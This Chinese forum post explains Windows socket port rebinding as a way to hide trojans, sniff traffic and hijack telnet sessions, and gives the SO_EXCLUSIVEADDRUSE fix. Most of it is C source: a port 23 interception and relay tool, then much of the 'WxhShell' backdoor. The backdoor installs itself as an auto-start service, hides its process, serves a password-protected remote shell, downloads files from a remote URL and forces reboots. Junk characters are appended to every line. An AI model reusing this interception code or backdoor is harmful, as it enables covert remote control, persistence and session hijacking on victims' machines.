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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: V<d'psb 6  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); f[ER`!  
525xm"Bs  
  saddr.sin_family = AF_INET; -<<!eH  
7IIM8/BI  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); =,?@p{g}  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ^Xb!dnT.*a  
cb UVeh7Q  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 r@n%  
gjs-j{*  
  这意味着什么?意味着可以进行如下的攻击: +SP5+"y@  
L9AfLw5&X  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 zR5D)`Ph   
f<zh-Gq  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :m+:%keK  
'kUrSM'*$N  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 d3 N %V.w  
p]aIMF_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  =]Ek12.  
&E9%8Q)r(  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 C3memimN  
[S9nF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .^v7LF]Q  
^\wosB3E  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 9GQTe1[t4  
P0 89Mh9  
  #include 5 WAsEP  
  #include iu:e>r  
  #include /_56H?w\  
  #include    ;j52a8uE'}  
  DWORD WINAPI ClientThread(LPVOID lpParam);   Z`:V~8=l  
  int main() fmSA.z  
  { )c!f J7o:  
  WORD wVersionRequested; xt-;7  
  DWORD ret; #p[=iP  
  WSADATA wsaData;   () SG  
  BOOL val; x,1&ml5  
  SOCKADDR_IN saddr; .II'W3Fr  
  SOCKADDR_IN scaddr; m\k$L7O  
  int err; !-7(.i-  
  SOCKET s; hz/5k%%UX  
  SOCKET sc; L Xx 3  
  int caddsize; w!xSYh')  
  HANDLE mt; b0&dpMgh:  
  DWORD tid;   66BsUA.h  
  wVersionRequested = MAKEWORD( 2, 2 ); f j"S|]e  
  err = WSAStartup( wVersionRequested, &wsaData ); RZz].Nx  
  if ( err != 0 ) { ?Dfgyz  
  printf("error!WSAStartup failed!\n"); S ":-5S6  
  return -1; _]Hn:O"o  
  } %b_zUFHPp  
  saddr.sin_family = AF_INET; }ShZ4 xMz  
   yC _X@o-n  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T&{EqsI=B  
fNlUc  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); }LE/{]A  
  saddr.sin_port = htons(23); 8T2$0  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) c8u&ev.U  
  { T[7- 3[w<)  
  printf("error!socket failed!\n"); Aimgfxag  
  return -1; D)mqe-%1  
  } 4f/8APA  
  val = TRUE; Q"(i  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ?vk&k(FT  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ,0 ])]  
  { gFW1Nm_DJ  
  printf("error!setsockopt failed!\n");  %RJW@~!  
  return -1; ;1o"Oij  
  } cy? EX~s4  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; T{ojla(  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 +tOV+6Uz  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 |w:\fK[  
ABx0IdOcI  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ]~|zY5i!  
  { rK`*v*  
  ret=GetLastError(); w1.KRe{M  
  printf("error!bind failed!\n"); W;o\}irep  
  return -1; xvW+;3;  
  } \BS^="AcpP  
  listen(s,2); ZOU$do>O  
  while(1) .lj\ H  
  { vZk+NS<  
  caddsize = sizeof(scaddr); {o;J'yjre1  
  //接受连接请求 f^',J@9@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); \=nY&Ml  
  if(sc!=INVALID_SOCKET) O1-Ne.$  
  { l3.HL> o  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *O+N4tq  
  if(mt==NULL) G<>`O;i  
  { o^lKM?t  
  printf("Thread Creat Failed!\n"); I*'QD)  
  break; F9Mv$ g79  
  } xeZ,}YP)  
  } )<!y_;$A  
  CloseHandle(mt); I]zCsT.  
  } +A/n <VH  
  closesocket(s); y%z$_V]  
  WSACleanup(); O.!|;)HQ  
  return 0; K /. ;N.9  
  }   T?Hs_u{  
  DWORD WINAPI ClientThread(LPVOID lpParam) #lF8"@)a-$  
  { :Oy9`vv  
  SOCKET ss = (SOCKET)lpParam; Dy5'm?  
  SOCKET sc; D4[t@*m>7  
  unsigned char buf[4096]; }oloMtp$  
  SOCKADDR_IN saddr; \z0"  
  long num; c:4 i&|n  
  DWORD val;  #6@7XC  
  DWORD ret; IJ[#$I+Z%  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L%I@HB9-Q0  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   = gOq >`  
  saddr.sin_family = AF_INET; MejM(o_kk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 1 1O^)_|c  
  saddr.sin_port = htons(23); wwk=*X-8  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) xyBWV]Y  
  { 0c /xE<h  
  printf("error!socket failed!\n"); 1s/t}J~zZ  
  return -1; A^*0{F?,)  
  } ~X)Aw 3}F  
  val = 100; &O7]e3Ej  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) L;wzvz\+  
  { E.zY(#S  
  ret = GetLastError(); {OH "d  
  return -1; <$qe2Ft Uq  
  } Wz;7 |UC  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) (V!:6  
  { JPR o<jt=  
  ret = GetLastError(); luY#l!mx3  
  return -1; h3[^uY e  
  } s\@RJ[(<  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 4|ML#aRz  
  { >;:235'(M  
  printf("error!socket connect failed!\n"); O3 x9S,1i  
  closesocket(sc); (_Ph{IN  
  closesocket(ss); =C gcRxng  
  return -1; #{-B`FAQ  
  } Wl\.*^`k  
  while(1) =ss(~[  
  { /g(WCKva  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 !Z]#1"A8  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 ?d&l_Pa0e  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 n W:P"L  
  num = recv(ss,buf,4096,0); KW`^uoY$  
  if(num>0) _c$l@8KS^  
  send(sc,buf,num,0); {wA(%e3_  
  else if(num==0) AWo\u!j  
  break; rr~O6Db  
  num = recv(sc,buf,4096,0); &6deds  
  if(num>0) w=JO$7  
  send(ss,buf,num,0); %dn!$[D@  
  else if(num==0) N5_`  
  break; %'+}-w  
  } {8]Yqx)1]]  
  closesocket(ss);  r`-=<@[  
  closesocket(sc); @-zL"%%dw'  
  return 0 ; _?~EWT   
  } bbNN$-S|  
~xPU#m<  
9 696EQ,I  
========================================================== ? $$Xg3w_#  
U-+o6XX  
下边附上一个代码,,WXhSHELL x_L5NsO:  
aoqG*qh}b  
========================================================== 9 t8NK{  
)>"|<h.2]  
#include "stdafx.h" {3Y R_^>?  
"zE>+zRl  
#include <stdio.h> wHuz~y6  
#include <string.h> ^ruz-N^Y!  
#include <windows.h> -sqd?L.p  
#include <winsock2.h> pG&#xRk  
#include <winsvc.h> F% < ZEVm  
#include <urlmon.h> xyzYY}PS  
[b:0j-  
#pragma comment (lib, "Ws2_32.lib") z&wJ"[nOC  
#pragma comment (lib, "urlmon.lib") TGDrTyI?y  
4++ &P9  
#define MAX_USER   100 // 最大客户端连接数 xYp-Y"a.  
#define BUF_SOCK   200 // sock buffer P(xgIMc H  
#define KEY_BUFF   255 // 输入 buffer `;Od0uh  
^#gJf*'UE  
#define REBOOT     0   // 重启 q:cCk#ra  
#define SHUTDOWN   1   // 关机 vJj}$AlI  
O>y*u8  
#define DEF_PORT   5000 // 监听端口 ;:  xE'-  
()^tw5e'^  
#define REG_LEN     16   // 注册表键长度 oL U!x  
#define SVC_LEN     80   // NT服务名长度 719lfI&s  
7}L.(Jp9  
// 从dll定义API hG2WxYk  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +[Izz~ _p  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M{t/B-'4  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); PO nF_FC  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); a! 3eZ,  
"_0sW3rG  
// wxhshell配置信息 cO8yu`4!e  
struct WSCFG { Y41b8.|P+  
  int ws_port;         // 监听端口 8b"vXNB.f  
  char ws_passstr[REG_LEN]; // 口令 GYrUB59  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5SEGV|%  
  char ws_regname[REG_LEN]; // 注册表键名 (c S'Nm5  
  char ws_svcname[REG_LEN]; // 服务名 weMufT  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 .U#oN_D  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Mtaky=l8~I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 u p zBd]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no *+%$OH,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p4uN+D `.U  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 pS "A{k)i  
XnKf<|j6k  
}; 8dh ?JqX  
*XI- nH  
// default Wxhshell configuration ;EsfHCi)  
struct WSCFG wscfg={DEF_PORT, *QT7\ht3  
    "xuhuanlingzhe", _D{{C  
    1, \0;EHB  
    "Wxhshell", [5PQrf~Mo  
    "Wxhshell", ~H4Tr[8a  
            "WxhShell Service", mUfANlQ:  
    "Wrsky Windows CmdShell Service", RgD:"zeM  
    "Please Input Your Password: ", '#Q\p6G&_  
  1, lvG+9e3+  
  "http://www.wrsky.com/wxhshell.exe", 1QbD]"=n  
  "Wxhshell.exe" ?NxaJ^  
    }; K8uqLSP '  
>CYz6G j  
// 消息定义模块  Cy5M0{  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ~3$:C#"Dl  
char *msg_ws_prompt="\n\r? for help\n\r#>"; f9HoQDFsM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; $VeQvm*  
char *msg_ws_ext="\n\rExit.";  n[7=  
char *msg_ws_end="\n\rQuit."; brdY97s4  
char *msg_ws_boot="\n\rReboot..."; BO>[\!=y  
char *msg_ws_poff="\n\rShutdown..."; 6n^vG/.M  
char *msg_ws_down="\n\rSave to "; ;It1i`!R  
o;v_vCLO  
char *msg_ws_err="\n\rErr!"; D.YT u$T  
char *msg_ws_ok="\n\rOK!"; A<-3u  
(/|f6_9!  
char ExeFile[MAX_PATH]; ~"cqFdnO  
int nUser = 0; H284 ]i  
HANDLE handles[MAX_USER]; 8Ib5  
int OsIsNt; QaLVIsnfN  
8ZNwo  
SERVICE_STATUS       serviceStatus; 85{@&T  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; gFxaUrZA  
.c@,$z2M  
// 函数声明 mSp;(oQ  
int Install(void); lmx'w  
int Uninstall(void); 6z5?9I4[  
int DownloadFile(char *sURL, SOCKET wsh); t.] e8=dE  
int Boot(int flag); b|U3\Fmc  
void HideProc(void); mam(h{f$  
int GetOsVer(void); `3vt.b  
int Wxhshell(SOCKET wsl); k&o1z'<C  
void TalkWithClient(void *cs); = $6pL  
int CmdShell(SOCKET sock); (oB9$Zz!t  
int StartFromService(void); 0{>P^z  
int StartWxhshell(LPSTR lpCmdLine); "0{t~?ol  
1y.!x~Pi,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); h|.*V$3  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Cc` )P>L  
C6c]M@6  
// 数据结构和表定义 Nk shJ2  
SERVICE_TABLE_ENTRY DispatchTable[] = 8yCQWDE}  
{ #}zL?s^G  
{wscfg.ws_svcname, NTServiceMain}, *Ui>NTl  
{NULL, NULL} 6n'XRfQp)&  
}; } mEsb?  
si|b>R&Z  
// 自我安装 g/x\#W  
int Install(void) }'Yk#Q  
{ )-d &XN7  
  char svExeFile[MAX_PATH]; Z#|IMmT;*=  
  HKEY key; -_~T;cj6  
  strcpy(svExeFile,ExeFile); n*i1QC  
SK {ALe  
// 如果是win9x系统,修改注册表设为自启动 ;Z}V}B  
if(!OsIsNt) { uM9RlI5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { I)F3sS45}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #:M)a?E/%  
  RegCloseKey(key); Zk n1@a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (Y?" L_pC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); @|J+ f5O  
  RegCloseKey(key); ""^.fh  
  return 0; U)gr C8 C  
    } 7eekTh, ?  
  } t /CE,DQ  
} =H2.1 :'  
else { q=h~zjQ?R  
LVp*YOq7  
// 如果是NT以上系统,安装为系统服务 mu =H&JC  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Z CS{D  
if (schSCManager!=0) 8k`rj;  
{ JOJ? .H&su  
  SC_HANDLE schService = CreateService VC@{cVT  
  ( N HL{.8L{  
  schSCManager, f6Io|CZWJ  
  wscfg.ws_svcname, !{L`Zd;C>w  
  wscfg.ws_svcdisp, G' 'l,\3  
  SERVICE_ALL_ACCESS, zg83->[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ~wsD g[  
  SERVICE_AUTO_START, *R^ulp[W  
  SERVICE_ERROR_NORMAL, *PJg~F%  
  svExeFile, *k#M;e  
  NULL, T5+iX`#M  
  NULL, yPqZ ,  
  NULL, $!_]mz6*  
  NULL, ` 'y[i  
  NULL H#B~ h4#  
  ); >-{)wk;1&  
  if (schService!=0) Q}MS $[y  
  { GKNH{|B$D  
  CloseServiceHandle(schService); U,4:yc,)s  
  CloseServiceHandle(schSCManager); yprf `D>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); er?'o1M  
  strcat(svExeFile,wscfg.ws_svcname); -S7rOq2Li  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { }#/,nJm'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); zp2IpYQ,3  
  RegCloseKey(key); 0?",dTf3i  
  return 0; )MKzAAt~  
    } XHu2G t_  
  } / 1jb8w'  
  CloseServiceHandle(schSCManager); P#g"c.?;  
} Ta38/v;S  
} ,afh]#  
/f9jLY +  
return 1; U'st\Dt  
} I =t{ u;  
O0{M3-  
// 自我卸载 Gv!* Qk4  
int Uninstall(void) =yf LqU  
{ }7Si2S  
  HKEY key; Mlp[xk|  
"mnWqRpX  
if(!OsIsNt) { f.`noZN  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hN6j5.x%  
  RegDeleteValue(key,wscfg.ws_regname); a(X?N.w  
  RegCloseKey(key); h,q%MZ==^s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E lt=/,v`!  
  RegDeleteValue(key,wscfg.ws_regname); JU7EC~7|2c  
  RegCloseKey(key); *sqq]uD  
  return 0; Z4Nl{  6  
  } 1FS Jqad  
} J3fcnI  
} h$p]#]uMb  
else { wwS{V  
e`#c[lbAAM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); A-O@e e  
if (schSCManager!=0) 3y%B&W,sm  
{ 2B7X~t>8a  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); AlNiqnZ  
  if (schService!=0) *]fBd<(8  
  { m<wng2`NTv  
  if(DeleteService(schService)!=0) { s% "MaDz  
  CloseServiceHandle(schService); :luVsQ  
  CloseServiceHandle(schSCManager); 8 kw`=wSH>  
  return 0; bE2^sx`(  
  } DD\:glo  
  CloseServiceHandle(schService); dF*@G/p>V  
  } e%&2tf4  
  CloseServiceHandle(schSCManager); K vC`6  
} ^zHBDRsb2F  
} Y&aFAjj  
;}{%|UAsx  
return 1; D*Y4B ?,  
} 1@C0c%  
2H_|Attoi  
// 从指定url下载文件 <J@Y=#G$2  
int DownloadFile(char *sURL, SOCKET wsh) \~1M\gZP  
{ Lc6Wj'G G  
  HRESULT hr; , gk49z9  
char seps[]= "/"; ]lzt "[  
char *token; $ +;`[b   
char *file; l [?o du4  
char myURL[MAX_PATH]; AoL4#.r3H  
char myFILE[MAX_PATH]; 0&Q-y&$7  
L5E.`^?  
strcpy(myURL,sURL); *D1 ^Se  
  token=strtok(myURL,seps); rG1l:Z)  
  while(token!=NULL) tK6z#)  
  { _6&x$ *O  
    file=token; W XDl\*n  
  token=strtok(NULL,seps); \5 IB/ *  
  } Ln0rm9FV-  
V& <vRIsN  
GetCurrentDirectory(MAX_PATH,myFILE); =vMFCp;mv  
strcat(myFILE, "\\"); cj@Ygc)n  
strcat(myFILE, file); ~U#afGH$  
  send(wsh,myFILE,strlen(myFILE),0); '5.n2 8W>  
send(wsh,"...",3,0); mL`,v WL/`  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); q' 77BRD3  
  if(hr==S_OK) f8kPbpV,  
return 0; _Iy0-=G  
else D ::),,  
return 1; .t''(0_kC  
7OX5"u!2  
} XtVx H4q  
z9pv|  
// 系统电源模块 :zZK%} G<  
int Boot(int flag) cq+|fg~Yy  
{ "S.5_@?  
  HANDLE hToken; 2Jl6Xc8  
  TOKEN_PRIVILEGES tkp; %KK6}d #  
}z1aKa9  
  if(OsIsNt) { jIwz G+)$P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); !`L%wS  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); #z_lBg. K  
    tkp.PrivilegeCount = 1; =.O8G=;DOA  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6/Y3#d  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .'JO7of  
if(flag==REBOOT) { % 1ZJi}~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $L_-U~^  
  return 0; Y~#m-y  
} GZ,`?  
else { yEIM58l  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) .dX ^3  
  return 0; Tt #4dm-  
} n@  lf+  
  } HpY-7QTPJ~  
  else { U8qb2'a8  
if(flag==REBOOT) { lJ;7sgQ#  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WG>Nm89  
  return 0; "C%<R  
} +U{8Mj  
else { Wsya:9|  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) low 0@+Q  
  return 0; t=o2:p6&  
} QG {KEj2V  
} F,+nj?i!  
`~0)}K.F  
return 1; <]<P<  
} V .+ mK|)  
x9Um4!/t  
// win9x进程隐藏模块 x6Zhw9RV  
void HideProc(void) Qc1NLU9:  
{ +*&bgGhT  
__N< B5E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); n4A_vz  
  if ( hKernel != NULL ) & -L$B  
  { :_9MS0  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); EQ< qN<uW  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nk=+6r6  
    FreeLibrary(hKernel); HZ%2WM  
  } ]e`&py E  
D>tex/Of3  
return; WOBLgM,|  
} iQs^2z#Bd  
#o`y<1rN  
// 获取操作系统版本 Lv;% z  
int GetOsVer(void) [0vgA#6I  
{ A#NJ8_  
  OSVERSIONINFO winfo; i/UDda"E  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); VPOzt7:  
  GetVersionEx(&winfo); aia`mO]  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) (j<FS>##  
  return 1; 0QJ :  
  else ` mvPbZ0<  
  return 0; mQL8ec_c  
} ]k+XL*]'A  
X=C*PWa7  
// 客户端句柄模块 arVu`pD*n  
int Wxhshell(SOCKET wsl) 9mA6nmp  
{ Nk JOD3>U  
  SOCKET wsh; f6/<lSoW  
  struct sockaddr_in client; P"-*'q,9  
  DWORD myID; #BPJRNXd  
#3VOC#.  
  while(nUser<MAX_USER) Kd='l~rby  
{ _\"2Mdk`]  
  int nSize=sizeof(client); M[eq)a$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); h@kq>no  
  if(wsh==INVALID_SOCKET) return 1; b@v_db]|t.  
zv%]j0 ?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); z6'Cz}%EP'  
if(handles[nUser]==0) ]u5B]ZQnA  
  closesocket(wsh); p]jkfsCjN  
else >b;o&E`\  
  nUser++; bm>N~DC  
  } }H5~@c$  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); QT8GP?F  
we("#s1=  
  return 0; cMU"SO  
} 1  b&<De  
d/&W[jJ  
// 关闭 socket !k3 eUBF  
void CloseIt(SOCKET wsh) nsA}A~(E  
{ #Vy8<Vy&w  
closesocket(wsh); 42oW]b%P{;  
nUser--; '^|u\$&U  
ExitThread(0); @> |3d  
} Sj'Iz #  
IgIM8"N  
// 客户端请求句柄 Vi m::  
void TalkWithClient(void *cs) ikd1KF+I  
{ ""f'L,`{.  
IRknD3LX  
  SOCKET wsh=(SOCKET)cs; oBS m>V  
  char pwd[SVC_LEN]; |LLDaA-=0  
  char cmd[KEY_BUFF]; c 8t  
char chr[1]; <rihi:4K  
int i,j; $ucDz f=o  
%f?Z/Wn  
  while (nUser < MAX_USER) { | LX Vf  
B"Ma<"HU  
if(wscfg.ws_passstr) { a.z)m} +  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z35(f0b  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [C#H _y(  
  //ZeroMemory(pwd,KEY_BUFF); 29HyeLB@  
      i=0; gs"w 0[$  
  while(i<SVC_LEN) { $5wf{iZY.Q  
,<(0T$o E[  
  // 设置超时 cx ~XG  
  fd_set FdRead; $'x#rW>v  
  struct timeval TimeOut; GU|(m~,`  
  FD_ZERO(&FdRead); Bwc_N.w?3  
  FD_SET(wsh,&FdRead); |s'5 ~+  
  TimeOut.tv_sec=8; qKD Nw8>  
  TimeOut.tv_usec=0; vlqL  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ffQm"s:P  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); bo-L|R&O  
MW2{w<-]7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C"QB`f:  
  pwd=chr[0]; vD^Uod1  
  if(chr[0]==0xd || chr[0]==0xa) { gtnu/ Q  
  pwd=0; w|1O-k`  
  break; {G+iobQdd  
  } \4KV9wm  
  i++; 7Bym?  
    } KPAvNM  
<Gna}ALkg  
  // 如果是非法用户,关闭 socket 4" pU\g  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ,1B` Ve  
} !;UoZ~  
zHKx,]9b  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); "QvTn=  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ^ X-6j[".  
h=4 GSU  
while(1) { ^'n;W<\p)  
.^6yCs5~`  
  ZeroMemory(cmd,KEY_BUFF); :=*V i`  
H*P[tyz$  
      // 自动支持客户端 telnet标准   1ozb tn  
  j=0; [$c"}=g[+  
  while(j<KEY_BUFF) { fDRG+/q(+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); "d`u#YmR  
  cmd[j]=chr[0]; cua( w  
  if(chr[0]==0xa || chr[0]==0xd) { N@Q_5t0bk  
  cmd[j]=0; \ B'AXv 6  
  break; 8F&Y;  
  } ?r{hrAx  
  j++; pekNBq Wm  
    } ?bpV dm!  
t 4VeXp6  
  // 下载文件 Y;'SD{On  
  if(strstr(cmd,"http://")) { jSSEfy>^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); $ai;8)C6  
  if(DownloadFile(cmd,wsh)) EqGpo_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]G D` f  
  else 1Vx5tOq  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oh@Ha?  
  } 2% /Kf}+  
  else { cRuN;  
#a2gRg  
    switch(cmd[0]) { AW E ab  
  G')zDx  
  // 帮助 =LODX29  
  case '?': { L|}s Z\2!  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ~@)s)K  
    break; >x3lA0m  
  } rlA/eQrS  
  // 安装 + ~5P7dh6  
  case 'i': { ~ rQ,%dH  
    if(Install()) &r~s3S{pQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9zS   
    else h5pfmN\-5  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); TVx `&C+  
    break; )TKn5[<4  
    } }r!+wp   
  // 卸载 ji ./m8(  
  case 'r': { W &:0J  
    if(Uninstall()) ggiy{CdR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q5L^>"  
    else lixM0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xb<|m2<)H  
    break; EFljUT?&  
    } 6 Bdxdx*zt  
  // 显示 wxhshell 所在路径 zTj ie  
  case 'p': {  qT!lq  
    char svExeFile[MAX_PATH]; |Tc4a4jS  
    strcpy(svExeFile,"\n\r"); )5LT!14  
      strcat(svExeFile,ExeFile); lux g1>  
        send(wsh,svExeFile,strlen(svExeFile),0); >X eXd{$  
    break; 80_w_i+  
    } 1}c'UEr%)  
  // 重启 ,z>-_HOnw  
  case 'b': { @+H0D"  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JO0o@M5H  
    if(Boot(REBOOT)) }8#Ed;%K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RJzIzv99m  
    else { Z\EA!Cs3  
    closesocket(wsh); !C05;x8{  
    ExitThread(0); 9\<q =p~  
    } .pQ5lK(R  
    break; }`Ya;  
    } )J> dGIb  
  // 关机 iiMS3ueF  
  case 'd': { =g! Pw]  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ;'8Wl  
    if(Boot(SHUTDOWN)) W h9L!5  
